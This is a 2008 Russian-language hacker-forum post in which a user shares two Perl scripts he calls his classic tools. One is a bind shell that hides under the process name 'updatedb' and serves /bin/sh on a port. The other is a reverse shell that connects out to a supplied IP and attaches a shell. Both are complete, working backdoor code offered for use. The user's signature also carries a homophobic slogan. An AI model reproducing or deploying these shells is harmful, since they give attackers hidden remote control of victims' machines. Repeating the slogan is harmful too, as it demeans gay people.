Показать сообщение отдельно

  #3  
Старый 03.01.2008, 20:34
MicRO
Green member - Level 3
Регистрация: 28.10.2004
Сообщений: 275
Провел на форуме:
672798

Репутация: 244
Отправить сообщение для MicRO с помощью ICQ
По умолчанию

Я пользуюсь классикой
bind.pl
Код:
#!/usr/bin/perl

$port = 32666; 
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
	accept(X, S);
	unless(fork)
	{
		open STDIN, "<&X";
		open STDOUT, ">&X";
		open STDERR, ">&X";
		close X;
		exec("/bin/sh");
	}
	close X;
}
back.pl
Код:
use Socket;
$ip=$ARGV[0];
$port=$ARGV[1];
$shell=$ARGV[2];
$system= "$shell";
$0=$cmd;
$shell=$ARGV[2];
$iaddr=inet_aton($ip) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCK, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCK");
open(STDOUT, ">&SOCK");
open(STDERR, ">&SOCK");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
__________________
Халявный инет, гомосексуализму нет!!! (c) MicRO